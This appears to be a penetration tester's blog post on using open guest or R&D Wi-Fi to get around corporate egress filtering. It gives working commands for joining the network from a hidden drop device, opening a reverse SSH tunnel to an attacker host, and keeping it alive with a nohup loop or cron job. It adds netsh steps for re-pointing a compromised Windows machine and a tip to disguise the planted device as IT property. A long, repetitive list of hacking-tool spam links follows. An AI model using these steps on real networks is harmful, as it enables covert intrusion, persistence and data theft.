Monday, August 24, 2020

Backchannel Data Exfiltration Via Guest/R&D Wi-Fi


Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.




Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script: 
#---------------------
#!/bin/bash
while true
do
 ssh -R 3000:127.0.0.1:22 root@remoteHost.com
 sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &


Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes: 
*/5 * * * * /shell.sh



Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile: 
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network: 
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

Related articles


  1. Pentest Tools List
  2. Beginner Hacker Tools
  3. Best Hacking Tools 2020
  4. Hacker Tools
  5. Hack Tool Apk
  6. World No 1 Hacker Software
  7. Hacking Tools For Kali Linux
  8. Pentest Box Tools Download
  9. Pentest Tools Free
  10. Hack Tools 2019
  11. Hacking Tools Mac
  12. Hacking Tools
  13. Pentest Tools Review
  14. Hacking Tools Free Download
  15. Hack Rom Tools
  16. Hacking Tools Pc
  17. Pentest Tools Port Scanner
  18. Hack Apps
  19. Pentest Tools
  20. Hacking App
  21. Hacking Tools 2019
  22. Hack Tools For Ubuntu
  23. Pentest Tools Open Source
  24. Beginner Hacker Tools
  25. Hacking Tools Usb
  26. Pentest Tools Open Source
  27. Github Hacking Tools
  28. Pentest Reporting Tools
  29. Hacking Tools Hardware
  30. Hacker Tools Online
  31. How To Make Hacking Tools
  32. Install Pentest Tools Ubuntu
  33. Hack Rom Tools
  34. Hacking App
  35. Hacking Tools For Mac
  36. Pentest Tools Kali Linux
  37. Pentest Tools Review
  38. Hacker Tools Software
  39. Underground Hacker Sites
  40. Pentest Tools Apk
  41. Pentest Tools Download
  42. Easy Hack Tools
  43. Pentest Tools Apk
  44. Pentest Tools Online
  45. Termux Hacking Tools 2019
  46. Hack Tool Apk
  47. Hack Tools For Pc
  48. Underground Hacker Sites
  49. Hack Tools For Pc
  50. Pentest Tools Port Scanner
  51. Hacking App
  52. Hacker Tools For Pc
  53. Install Pentest Tools Ubuntu
  54. Hacking Tools 2020
  55. Ethical Hacker Tools
  56. Pentest Tools Linux
  57. Pentest Tools Framework
  58. Hacker Tools Hardware
  59. Pentest Tools Bluekeep
  60. Tools 4 Hack
  61. Pentest Tools Website Vulnerability
  62. Hacking Tools Name
  63. Hacking Tools For Kali Linux
  64. Pentest Tools Port Scanner
  65. Hackrf Tools
  66. Pentest Recon Tools
  67. Hacker Tools For Mac
  68. Install Pentest Tools Ubuntu
  69. Hacker Tools Hardware
  70. Usb Pentest Tools
  71. Hacking Tools Name
  72. Hacking Tools 2020
  73. Best Hacking Tools 2020
  74. Pentest Tools Download
  75. Hacking Tools For Kali Linux
  76. Pentest Tools Bluekeep
  77. Hack App
  78. Hacking Tools Windows
  79. Hack Tools
  80. Tools 4 Hack
  81. Pentest Tools Url Fuzzer
  82. Hacker Tools 2019
  83. Hacking Tools For Games
  84. Hacking Tools Software
  85. Hack And Tools
  86. Growth Hacker Tools
  87. Underground Hacker Sites
  88. Physical Pentest Tools
  89. Hacking Tools For Windows 7
  90. Hacking Tools For Windows
  91. Hack Tool Apk No Root
  92. Termux Hacking Tools 2019
  93. Hack Tool Apk No Root
  94. Hacker Tools Apk Download
  95. Pentest Tools Url Fuzzer
  96. Hacker Tool Kit
  97. Hacking Tools Kit
  98. Pentest Tools Github
  99. Pentest Tools Website Vulnerability
  100. Hack Tools Mac
  101. Hacker Tools Online
  102. Pentest Box Tools Download
  103. Hacking Tools Kit
  104. Game Hacking
  105. Underground Hacker Sites
  106. Hacker Techniques Tools And Incident Handling
  107. Hacker Tools Software
  108. Hacking Tools Pc
  109. Hacking Tools Download
  110. Hackrf Tools
  111. Hacking Tools For Kali Linux
  112. World No 1 Hacker Software
  113. Hack App
  114. Hack Tools For Games
  115. Hacking Tools Name
  116. Pentest Tools Framework
  117. Hacker
  118. Tools 4 Hack
  119. Hacker Tools Free
  120. Hack Tools
  121. How To Hack
  122. Pentest Tools Subdomain
  123. Hacks And Tools
  124. Hacking Tools 2019
  125. Hacker Tools Free Download
  126. Pentest Tools For Ubuntu
  127. Hacker Tools Github
  128. Hacking Tools Github
  129. Hacking Tools Mac
  130. Pentest Box Tools Download
  131. Pentest Tools Download
  132. Hacker Tools Free
  133. Hack Tools 2019
  134. Hacks And Tools
  135. Pentest Tools Review
  136. Game Hacking
  137. Hack Tools 2019
  138. Hacker Tools 2019
  139. Pentest Tools Free
  140. Hackers Toolbox
  141. Usb Pentest Tools
  142. Pentest Tools Online
  143. Pentest Box Tools Download
  144. Pentest Tools Free
  145. Pentest Tools Alternative
  146. Kik Hack Tools
  147. Pentest Tools Website Vulnerability
  148. Pentest Tools Nmap

No comments:

Post a Comment